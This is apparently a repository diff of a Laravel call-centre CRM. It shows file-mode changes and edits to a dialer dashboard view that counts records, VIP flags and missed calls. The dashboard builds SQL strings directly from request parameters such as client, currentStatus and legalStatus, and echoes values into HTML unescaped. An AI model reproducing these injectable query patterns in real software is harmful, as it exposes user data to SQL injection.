application/app/lib/phpexcel/PHPExcel/locale/hu/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/it/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/it/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/nl/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/nl/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/no/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/no/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/pl/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/pl/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/pt/br/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/pt/br/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/pt/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/pt/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/ru/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/ru/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/sv/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/sv/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/tr/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/tr/functions
100755 → 100644
File mode changed
application/resources/views/auth/login.blade.php
100755 → 100644
File mode changed
application/resources/views/auth/password.blade.php
100755 → 100644
File mode changed
application/resources/views/auth/register.blade.php
100755 → 100644
File mode changed
application/resources/views/auth/reset.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/ajaxerror.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/auth/reminder.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/forgotpassword.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/notification.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/password.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/releasesignup.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/welcomeinvite.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/welcomeuser.blade.php
100755 → 100644
File mode changed
application/resources/views/emails/welcomeverify.blade.php
100755 → 100644
File mode changed
application/resources/views/errors/503.blade.php
100755 → 100644
File mode changed
application/resources/views/errors/exception.blade.php
100755 → 100644
File mode changed
application/resources/views/errors/missing.blade.php
100755 → 100644
File mode changed
application/resources/views/home.blade.php
100755 → 100644
File mode changed
application/resources/views/idleapp.blade.php
100755 → 100644
File mode changed
application/resources/views/index.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/120417_main_menu.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/230817_top_menu.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/footer.blade.php
100755 → 100644
| ... | @@ -75,9 +75,6 @@ kstychAppObject['config']['colorInverse']='{!!$skinarr[8]!!}'; | ... | @@ -75,9 +75,6 @@ kstychAppObject['config']['colorInverse']='{!!$skinarr[8]!!}'; |
| 75 | <script src="{!!url('/')!!}/assets/components/modules/admin/chat/jquery.ui.chatbox.js"></script> | 75 | <script src="{!!url('/')!!}/assets/components/modules/admin/chat/jquery.ui.chatbox.js"></script> |
| 76 | <script src="{!!url('/')!!}/assets/components/modules/admin/chat/chatboxmanager.js"></script> | 76 | <script src="{!!url('/')!!}/assets/components/modules/admin/chat/chatboxmanager.js"></script> |
| 77 | <script src="{!!url('/')!!}/assets/js/highchart/highcharts.js"></script> | 77 | <script src="{!!url('/')!!}/assets/js/highchart/highcharts.js"></script> |
| 78 | <script> | ||
| 79 | var envCallback = "{{ env('app_domain') }}"; | ||
| 80 | </script> | ||
| 81 | <script src="{!!url('/')!!}/jsbody?v={!!$v!!}"></script> | 78 | <script src="{!!url('/')!!}/jsbody?v={!!$v!!}"></script> |
| 82 | 79 | ||
| 83 | <?php if(Session::has('mdevice')&&Session::get('mdevice')!=""){$md=Session::get('mdevice'); ?> | 80 | <?php if(Session::has('mdevice')&&Session::get('mdevice')!=""){$md=Session::get('mdevice'); ?> | ... | ... |
application/resources/views/layout/header.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/jsbody.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/jshead.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/layout.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/resources/views/layout/module/admin/index.blade.php
100755 → 100644
File mode changed
File mode changed
application/resources/views/layout/module/admin/main.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
| ... | @@ -69,8 +69,8 @@ use App\Models\CRMCall; | ... | @@ -69,8 +69,8 @@ use App\Models\CRMCall; |
| 69 | if($client!="")$roclientstr="and client='$client'"; | 69 | if($client!="")$roclientstr="and client='$client'"; |
| 70 | 70 | ||
| 71 | 71 | ||
| 72 | $currentstatuses=$wakka->LoadAll("select distinct currentstatus from records where currentstatus!='' $owclientstr"); | 72 | //$currentstatuses=$wakka->LoadAll("select distinct currentstatus from records where currentstatus!='' $owclientstr"); |
| 73 | $legalstatuses=$wakka->LoadAll("select distinct legalstatus from records where legalstatus!='' $owclientstr"); | 73 | //$legalstatuses=$wakka->LoadAll("select distinct legalstatus from records where legalstatus!='' $owclientstr"); |
| 74 | 74 | ||
| 75 | $dispoarr=$wakka->LoadAll("select count(*) as cnt,currentstatus,legalstatus,dialer_status from records where 1=1 $owclientstr group by currentstatus,legalstatus,dialer_status"); | 75 | $dispoarr=$wakka->LoadAll("select count(*) as cnt,currentstatus,legalstatus,dialer_status from records where 1=1 $owclientstr group by currentstatus,legalstatus,dialer_status"); |
| 76 | 76 | ||
| ... | @@ -97,7 +97,7 @@ use App\Models\CRMCall; | ... | @@ -97,7 +97,7 @@ use App\Models\CRMCall; |
| 97 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) $owclientstr"); | 97 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) $owclientstr"); |
| 98 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' $owclientstr"); | 98 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' $owclientstr"); |
| 99 | //$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' $owclientstr"); | 99 | //$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' $owclientstr"); |
| 100 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and status='New' $owclientstr"); | 100 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' $owclientstr"); |
| 101 | 101 | ||
| 102 | if($prevData=='MTD'&&$legalStatus!='SECONDARY') | 102 | if($prevData=='MTD'&&$legalStatus!='SECONDARY') |
| 103 | { | 103 | { |
| ... | @@ -109,7 +109,7 @@ use App\Models\CRMCall; | ... | @@ -109,7 +109,7 @@ use App\Models\CRMCall; |
| 109 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 109 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 110 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 110 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 111 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ | 111 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ |
| 112 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and status='New' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 112 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 113 | } | 113 | } |
| 114 | 114 | ||
| 115 | if($prevData=='YTD'&&$legalStatus!='SECONDARY') | 115 | if($prevData=='YTD'&&$legalStatus!='SECONDARY') |
| ... | @@ -122,7 +122,7 @@ use App\Models\CRMCall; | ... | @@ -122,7 +122,7 @@ use App\Models\CRMCall; |
| 122 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | 122 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); |
| 123 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | 123 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); |
| 124 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr");*/ | 124 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr");*/ |
| 125 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and status='New' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | 125 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 126 | } | 126 | } |
| 127 | 127 | ||
| 128 | if($prevData=='MTD'&&$legalStatus=='SECONDARY') | 128 | if($prevData=='MTD'&&$legalStatus=='SECONDARY') |
| ... | @@ -135,7 +135,7 @@ use App\Models\CRMCall; | ... | @@ -135,7 +135,7 @@ use App\Models\CRMCall; |
| 135 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 135 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 136 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 136 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 137 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ | 137 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ |
| 138 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and status='New' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 138 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 139 | } | 139 | } |
| 140 | 140 | ||
| 141 | if($prevData=='YTD'&&$legalStatus=='SECONDARY') | 141 | if($prevData=='YTD'&&$legalStatus=='SECONDARY') |
| ... | @@ -148,7 +148,7 @@ use App\Models\CRMCall; | ... | @@ -148,7 +148,7 @@ use App\Models\CRMCall; |
| 148 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 148 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 149 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 149 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 150 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ | 150 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ |
| 151 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and status='New' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | 151 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); |
| 152 | } | 152 | } |
| 153 | 153 | ||
| 154 | $MissedCalls=0; | 154 | $MissedCalls=0; |
| ... | @@ -156,7 +156,7 @@ use App\Models\CRMCall; | ... | @@ -156,7 +156,7 @@ use App\Models\CRMCall; |
| 156 | $udidlinesstr = array(); | 156 | $udidlinesstr = array(); |
| 157 | foreach($didlinesstr as $didlinestr){ | 157 | foreach($didlinesstr as $didlinestr){ |
| 158 | $didlinestrArr=explode(":",$didlinestr); | 158 | $didlinestrArr=explode(":",$didlinestr); |
| 159 | $udidlinesstr[] = substr($didlinestrArr[0], -8); | 159 | $udidlinesstr[] = substr($didlinestrArr[0], env('didnumber')); |
| 160 | } | 160 | } |
| 161 | 161 | ||
| 162 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); | 162 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); |
| ... | @@ -248,12 +248,14 @@ use App\Models\CRMCall; | ... | @@ -248,12 +248,14 @@ use App\Models\CRMCall; |
| 248 | ?> | 248 | ?> |
| 249 | <div class=col-md-6> | 249 | <div class=col-md-6> |
| 250 | <select class=form-control id=legalstatus_select onchange='bucketSelect();'> | 250 | <select class=form-control id=legalstatus_select onchange='bucketSelect();'> |
| 251 | <?php foreach($legalstatuses as $ls)echo "<option value='$ls[legalstatus]'>$ls[legalstatus]</option>"; ?> | 251 | <option value='PRIMARY'>PRIMARY</option> |
| 252 | <option value='SECONDARY'>SECONDARY</option> | ||
| 252 | </select> | 253 | </select> |
| 253 | </div> | 254 | </div> |
| 254 | <div class=col-md-6> | 255 | <div class=col-md-6> |
| 255 | <select class=form-control id=currentstatus_select onchange='bucketSelect();'> | 256 | <select class=form-control id=currentstatus_select onchange='bucketSelect();'> |
| 256 | <?php foreach($currentstatuses as $ls)echo "<option value='$ls[currentstatus]'>$ls[currentstatus]</option>"; ?> | 257 | <option value='ACTIVE'>ACTIVE</option> |
| 258 | <option value='PASSIVE'>PASSIVE</option> | ||
| 257 | </select> | 259 | </select> |
| 258 | </div> | 260 | </div> |
| 259 | <div style='clear:both'></div> | 261 | <div style='clear:both'></div> | ... | ... |
File mode changed
| 1 | <?php | ||
| 2 | use App\Jobs\KHRMSLib; | ||
| 3 | use App\Models\CRMCall; | ||
| 4 | |||
| 5 | $client=Input::get("client"); | ||
| 6 | $prevData=Input::get("prev"); | ||
| 7 | $currentStatus = Input::get("currentStatus"); | ||
| 8 | $legalStatus = Input::get("legalStatus"); | ||
| 9 | if($currentStatus==""||$legalStatus==""|| $prevData==""){ | ||
| 10 | $currentStatus="ACTIVE"; | ||
| 11 | $legalStatus="PRIMARY"; | ||
| 12 | $prevData="MTD"; | ||
| 13 | } | ||
| 14 | |||
| 15 | $wakka=new KHRMSLib(); | ||
| 16 | $dispoclassarr=array('NC'=>array(0,array()),'CC'=>array(0,array()),'CB'=>array(0,array()),'NA'=>array(0,array())); | ||
| 17 | |||
| 18 | $dataSelect = array('0'=>'MTD','1'=>'YTD'); | ||
| 19 | |||
| 20 | $owclientstr=array(); | ||
| 21 | $oclientlst=$wakka->clientsOwnerRWAccess(); | ||
| 22 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 23 | { | ||
| 24 | $owclientstr[]="'$tclnt'"; | ||
| 25 | if($client=="")$client=$tclnt; | ||
| 26 | } | ||
| 27 | if(!empty($owclientstr))$owclientstr="and client in (".implode(",",$owclientstr).")";else $owclientstr=""; | ||
| 28 | if($client!="")$owclientstr="and client='$client'"; | ||
| 29 | |||
| 30 | |||
| 31 | $roclientstr=array();$didlinesstr=array();if(Auth::user()->exten!="")$didlinesstr[]=Auth::user()->exten; | ||
| 32 | |||
| 33 | $roclientlst=$wakka->clientsReadAccess(); | ||
| 34 | |||
| 35 | if(!empty($roclientlst))foreach($roclientlst as $tclnt)if($tclnt!="") | ||
| 36 | { | ||
| 37 | $roclientstr[]="'$tclnt'"; | ||
| 38 | if($client=="")$client=$tclnt; | ||
| 39 | |||
| 40 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 41 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 42 | |||
| 43 | |||
| 44 | if(empty($mastersdata['dialerDispoList']))$mastersdata['dialerDispoList']=$wakka->HRCoreVars['dialerDispoList']; | ||
| 45 | |||
| 46 | $dispoarr=explode("~",$mastersdata['dialerDispoList']); | ||
| 47 | foreach($dispoarr as $dispo) | ||
| 48 | { | ||
| 49 | if(!empty($dispo)) | ||
| 50 | { | ||
| 51 | $dispoprts=explode("|",$dispo); | ||
| 52 | if(sizeof($dispoprts)>=3) | ||
| 53 | { | ||
| 54 | if(isset($dispoclassarr[$dispoprts[0]])) | ||
| 55 | { | ||
| 56 | $dispoclassarr[$dispoprts[0]][1][]=$dispoprts[1]; | ||
| 57 | } | ||
| 58 | } | ||
| 59 | } | ||
| 60 | } | ||
| 61 | } | ||
| 62 | foreach($didlinesstr as $k=>$dids) | ||
| 63 | { | ||
| 64 | $didarr=explode(":",$dids); | ||
| 65 | $didlinesstr[$k]=$didarr[0]; | ||
| 66 | } | ||
| 67 | |||
| 68 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 69 | if($client!="")$roclientstr="and client='$client'"; | ||
| 70 | |||
| 71 | |||
| 72 | //$currentstatuses=$wakka->LoadAll("select distinct currentstatus from records where currentstatus!='' $owclientstr"); | ||
| 73 | //$legalstatuses=$wakka->LoadAll("select distinct legalstatus from records where legalstatus!='' $owclientstr"); | ||
| 74 | |||
| 75 | $dispoarr=$wakka->LoadAll("select count(*) as cnt,currentstatus,legalstatus,dialer_status from records where 1=1 $owclientstr group by currentstatus,legalstatus,dialer_status"); | ||
| 76 | |||
| 77 | $countStatuses = array('New', 'Called'); | ||
| 78 | foreach ($countStatuses as $status) { | ||
| 79 | $$status = 0; | ||
| 80 | } | ||
| 81 | $counts= DB::table('records') | ||
| 82 | ->select(DB::raw("count(*) as cnt,status")) | ||
| 83 | ->whereIn('status', $countStatuses) | ||
| 84 | ->where('client', '=', $client) | ||
| 85 | ->groupBy('status')->get(); | ||
| 86 | |||
| 87 | foreach ($counts as $key => $count) | ||
| 88 | { | ||
| 89 | $status = $count->status; | ||
| 90 | $$status = $count->cnt; | ||
| 91 | } | ||
| 92 | |||
| 93 | $TotalData=$New + $Called; | ||
| 94 | $NotCalled=$New; | ||
| 95 | $TotalCalled=$Called; | ||
| 96 | |||
| 97 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) $owclientstr"); | ||
| 98 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' $owclientstr"); | ||
| 99 | //$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' $owclientstr"); | ||
| 100 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' $owclientstr"); | ||
| 101 | |||
| 102 | if($prevData=='MTD'&&$legalStatus!='SECONDARY') | ||
| 103 | { | ||
| 104 | $dispoarr=$wakka->LoadAll("select count(*) as cnt,currentstatus,legalstatus,dialer_status from records where 1=1 $owclientstr group by currentstatus,legalstatus,dialer_status having legalstatus='$legalStatus' and currentstatus='$currentStatus'"); | ||
| 105 | |||
| 106 | $TotalData=$wakka->getCount("records","status IN ('New', 'Called','Noqueue') and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | ||
| 107 | $NotCalled=$wakka->getCount("records","status='New' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 108 | $TotalCalled=$wakka->getCount("records","status='Called' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 109 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 110 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 111 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ | ||
| 112 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 113 | } | ||
| 114 | |||
| 115 | if($prevData=='YTD'&&$legalStatus!='SECONDARY') | ||
| 116 | { | ||
| 117 | $ydispoarr=$wakka->LoadAll("select count(*) as cnt,currentstatus,legalstatus,old_dialer_status from records where 1=1 $owclientstr group by currentstatus,legalstatus,old_dialer_status"); | ||
| 118 | |||
| 119 | $TotalData=$wakka->getCount("records","old_status IN ('New', 'Called','Noqueue') and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | ||
| 120 | $NotCalled=$wakka->getCount("records","old_status='New' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | ||
| 121 | $TotalCalled=$wakka->getCount("records","old_status='Called' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | ||
| 122 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | ||
| 123 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | ||
| 124 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr");*/ | ||
| 125 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 126 | } | ||
| 127 | |||
| 128 | if($prevData=='MTD'&&$legalStatus=='SECONDARY') | ||
| 129 | { | ||
| 130 | $dispoarr=$wakka->LoadAll("select count(*) as cnt,currentstatus,legalstatus,dialer_status from records where 1=1 $owclientstr group by currentstatus,legalstatus,dialer_status having legalstatus='$legalStatus' and currentstatus='$currentStatus'"); | ||
| 131 | |||
| 132 | $TotalData=$wakka->getCount("records","status IN ('New', 'Called','Noqueue') and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 133 | $NotCalled=$wakka->getCount("records","status='New' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 134 | $TotalCalled=$wakka->getCount("records","status='Called' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 135 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 136 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 137 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ | ||
| 138 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 139 | } | ||
| 140 | |||
| 141 | if($prevData=='YTD'&&$legalStatus=='SECONDARY') | ||
| 142 | { | ||
| 143 | $ydispoarr=$wakka->LoadAll("select count(*) as cnt,currentstatus,legalstatus,old_dialer_status from records where 1=1 $owclientstr group by currentstatus,legalstatus,old_dialer_status having legalstatus='$legalStatus' and currentstatus='$currentStatus'"); | ||
| 144 | |||
| 145 | $TotalData=$wakka->getCount("records","old_status IN ('New', 'Called','Noqueue') and currentstatus='$currentStatus' and legalstatus='$legalStatus' $owclientstr"); | ||
| 146 | $NotCalled=$wakka->getCount("records","old_status='New' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 147 | $TotalCalled=$wakka->getCount("records","old_status='Called' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 148 | $Priority=$wakka->getCount("records","priority in (1,2,3,4,5,6,7,8,9,10) and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 149 | $Flagged=$wakka->getCount("records","dialer_flag='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 150 | /*$NotCalledFlagged=$wakka->getCount("records"," priority='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr");*/ | ||
| 151 | $NotCalledFlagged=$wakka->getCount("records"," mf_isa='VIP' and (currentstatus='$currentStatus' and legalstatus='$legalStatus') $owclientstr"); | ||
| 152 | } | ||
| 153 | |||
| 154 | $MissedCalls=0; | ||
| 155 | |||
| 156 | $udidlinesstr = array(); | ||
| 157 | foreach($didlinesstr as $didlinestr){ | ||
| 158 | $didlinestrArr=explode(":",$didlinestr); | ||
| 159 | $udidlinesstr[] = substr($didlinestrArr[0], env('didnumber')); | ||
| 160 | } | ||
| 161 | |||
| 162 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); | ||
| 163 | $mc=$mc->where(function ($query) use($roclientlst,$udidlinesstr){ | ||
| 164 | $query->orWhereIn('client',$roclientlst)->orWhereIn('did',$udidlinesstr); | ||
| 165 | }); | ||
| 166 | $mc=$mc->get(); | ||
| 167 | |||
| 168 | $number_list=array(); | ||
| 169 | foreach($mc as $key=>$tcall) | ||
| 170 | { | ||
| 171 | $tccal=substr($tcall->number,-10); | ||
| 172 | $mc_number=CRMCall::where('userstatus','!=','InboundDROP') | ||
| 173 | ->where('created_at','>',$tcall->created_at) | ||
| 174 | ->where('number','like',"%".$tccal."%") | ||
| 175 | ->orderBy("id","DESC") | ||
| 176 | ->first(); | ||
| 177 | |||
| 178 | $mccount=count($mc_number); | ||
| 179 | if($mccount==0) | ||
| 180 | { | ||
| 181 | $number_list[] = $tcall->number; | ||
| 182 | } | ||
| 183 | |||
| 184 | } | ||
| 185 | |||
| 186 | if(count($number_list) > 0) { | ||
| 187 | $lcalls=DB::select("SELECT * FROM crmcalls where id in (SELECT max(id) FROM crmcalls WHERE number IN ('" . implode("','", $number_list). "') GROUP BY number )"); | ||
| 188 | |||
| 189 | foreach($lcalls as $lcall) | ||
| 190 | { | ||
| 191 | if($lcall->userstatus=="InboundDROP") | ||
| 192 | { | ||
| 193 | $MissedCalls++; | ||
| 194 | } | ||
| 195 | } | ||
| 196 | } | ||
| 197 | |||
| 198 | $callstoday=CRMCall::where("created_at",">=",date("Y-m-d 00:00:00"))->where("user_id","=",Auth::user()->id)->count(); | ||
| 199 | $callsmonth=CRMCall::where("created_at",">=",date("Y-m-01 00:00:00"))->where("user_id","=",Auth::user()->id)->count(); | ||
| 200 | |||
| 201 | |||
| 202 | $recstoday=$wakka->getCount("records","dialer_lastcall>='".date("Y-m-d 00:00:00")."' $owclientstr"); | ||
| 203 | $recsmonth=$wakka->getCount("records","dialer_lastcall>='".date("Y-m-01 00:00:00")."' $owclientstr"); | ||
| 204 | |||
| 205 | ?> | ||
| 206 | |||
| 207 | |||
| 208 | |||
| 209 | <div class=col-md-3> | ||
| 210 | <div class=col-md-11> | ||
| 211 | <?php if(sizeof($roclientlst)>0){ ?> | ||
| 212 | <h5> | ||
| 213 | Campaign | ||
| 214 | <select class='form-control pull-right' id=tcampaign_select onchange='campaignSelect();' style='width:50%'> | ||
| 215 | <?php foreach($roclientlst as $c){$s="";if($c==$client)$s='selected';echo "<option value='$c' $s>$c</option>";} ?> | ||
| 216 | </select> | ||
| 217 | </h5> | ||
| 218 | <br> | ||
| 219 | <div class=col-md-6> | ||
| 220 | <select class=form-control id=data_select onchange='dataSelect();'> | ||
| 221 | <?php foreach($dataSelect as $d){$s="";if($d==$prevData)$s='selected';echo "<option value='$d' $s>$d</option>";} ?> | ||
| 222 | </select> | ||
| 223 | </div> | ||
| 224 | <div style='clear:both'></div> | ||
| 225 | <br> | ||
| 226 | <?php } ?> | ||
| 227 | |||
| 228 | <h5> | ||
| 229 | Buckets | ||
| 230 | <span class='label label-small label-default pull-right'> | ||
| 231 | <a href=# onclick="dialerLoadData('CallsMonth','','',1,'','');return false;" style='color:#fff;font-size:12px'> | ||
| 232 | Month: {!!$recsmonth!!} / {!!$callsmonth!!} | ||
| 233 | </a> | ||
| 234 | </span> | ||
| 235 | <span class='label label-small label-default pull-right' style='margin-right:5px'> | ||
| 236 | <a href=# onclick="dialerLoadData('CallsToday','','',1,'','');return false;" style='color:#fff;font-size:12px'> | ||
